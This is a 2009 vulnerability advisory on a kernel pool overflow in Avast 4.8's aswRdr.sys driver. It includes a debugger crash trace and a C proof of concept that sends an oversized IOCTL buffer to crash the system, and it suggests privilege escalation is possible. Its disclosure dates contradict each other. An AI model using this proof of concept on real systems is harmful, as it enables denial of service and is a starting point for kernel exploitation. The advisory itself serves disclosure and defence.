http://www.efblog.net/2009/11/avast-aswrdrsys-kernel-pool-corruption.html =============[Avast aswRdr.sys Kernel Pool Corruption and Local Privilege Escalation]================ Author(s): Giuseppe 'Evilcry' Bonfa' AbdulAziz Hariri E-Mail: evilcry {AT} GMAIL {DOT} COM Website: http://evilcry.netsons.org http://www.insight-tech.org http://evilcodecave.blogspot.com http://evilcodecave.wordpress.com Copyright 2009 Giuseppe Bonfa'. All rights reserved. ***Disclosure Timeline*** Discover Date: - PoC Code: porting C++ 26/09/2009 Vendor Notify: 26/09/2009 Vendor Reply: 15/09/2009 Vendor Fix: 15/10/2009 ====================== Product Details: ====================== Affected Product: Avast antivirus (other versions could be affected) Product Version: 4.8.1356.0 Vulnerable Compoonent: aswRdr.sys 4.8.1356.0 (avast! TDI RDR Driver) Category: Local Denial of Service due to kernel memory corruption (BSOD) (untested) Local Privilege Escalation Notes: Tested on XP Sp0-Sp2 fixed faulting process IExplorer 6 ====================== Vulnerability Details: ====================== Avast's aswRdr.sys Driver does not sanitize user supplied input IOCTL) and this lead to Kernel Heap Overflow that propagates on the system with a BSOD and potential risk of Privilege Escalation. ================== Technical Details: ================== kd> !analyze -v Bugcheck: BAD_POOL_HEADER Arg1: 00000020, a pool block header size is corrupt. Arg2: 8136c618, The pool entry we were looking for within the page. Arg3: 8136c778, The next pool entry. <-- OVERWRITTEN HEADER Arg4: 1a2c0001, (reserved) POOL_ADDRESS: unable to get nt!MmSpecialPoolStart unable to get nt!MmSpecialPoolEnd unable to get nt!MmPoolCodeStart unable to get nt!MmPoolCodeEnd 8136c618 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. f7c70a18 80543c86 00000019 00000020 8136c618 nt+0x21925 f7c70a68 804f388c 8136c620 00000000 81571de8 nt+0x6cc86 f7c70abc 804fcfbf 81571de8 f7c70b08 f7c70afc nt+0x1c88c f7c70b0c 806d1c35 00000000 00000000 f7c70b24 nt+0x25fbf f7c70b24 806d1861 badb0d00 00000000 81603548 hal+0x2c35 f7c70bb4 804f0498 81571de8 81348028 00000000 hal+0x2861 f7c70be8 f76ee9ad 81347ec8 81565740 00000000 nt+0x19498 f7c70c1c f76ee333 81347ec8 81571da8 81664e28 aswRdr+0x9ad f7c70c58 805749d1 81347ec8 81571da8 81348028 aswRdr+0x333 f7c70d00 8056d33c 0000001c 00000000 00000000 nt+0x9d9d1 f7c70d34 8053c808 0000001c 00000000 00000000 nt+0x9633c f7c70d64 7c91eb94 badb0d00 0012fee0 04040404 nt+0x65808 f7c70d68 badb0d00 0012fee0 04040404 04040404 0x7c91eb94 f7c70d6c 0012fee0 04040404 04040404 00000000 0xbadb0d00 f7c70d70 04040404 04040404 00000000 00000000 0x12fee0 f7c70d74 04040404 00000000 00000000 00000000 0x4040404 f7c70d78 00000000 00000000 00000000 00000000 0x4040404 ================== Proof of Concept: ================== Exploitation for Privilege Escalation is not Trivial but Possible +---------------------------------------------------------------------------+ /* Avast 4.8.1356.0 antivirus aswRdr.sys Kernel Pool Corruption * * Author(s): Giuseppe 'Evilcry' Bonfa' * AbdulAziz Hariri * E-Mail: evilcry _AT_ gmail _DOT_ com * Website: http://evilcry.netsons.org * http://evilcodecave.blogspot.com * http://evilcodecave.wordpress.com * http://evilfingers.com * * Disclosure Timeline: As specified in the Advisory. */ #define WIN32_LEAN_AND_MEAN #include #include BOOL OpenDevice(PWSTR DriverName, HANDLE *lphDevice) //taken from esagelab { WCHAR DeviceName[MAX_PATH]; HANDLE hDevice; if ((GetVersion() & 0xFF) >= 5) { wcscpy(DeviceName, L"\\\\.\\Global\\"); } else { wcscpy(DeviceName, L"\\\\.\\"); } wcscat(DeviceName, DriverName); printf("Opening.. %S\n", DeviceName); hDevice = CreateFileW(DeviceName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("CreateFile() ERROR %d\n", GetLastError()); return FALSE; } *lphDevice = hDevice; return TRUE; } int main() { HANDLE hDev = NULL; DWORD Junk; if(!OpenDevice(L"aswRDR",&hDev)) { printf("Unable to access aswMon"); return(0); } char *Buff = (char *)VirtualAlloc(NULL, 0x156, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (Buff) { memset(Buff, 'A', 0x156); DeviceIoControl(hDev,0x80002024,Buff,0x156,Buff,0x156,&Junk,(LPOVERLAPPED)NULL); printf("DeviceIoControl Executed..\n"); } else { printf("VirtualAlloc() ERROR %d\n", GetLastError()); } return(0); } ======== Credits: ======== Vulnerability found and advisory written by Giuseppe 'Evilcry' Bonfa' and AbdulAziz Hariri. =========== Disclaimer: =========== The information within this advisory may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are no warranties, implied or express, with regard to this information. In no event shall the author be liable for any direct or indirect damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk.
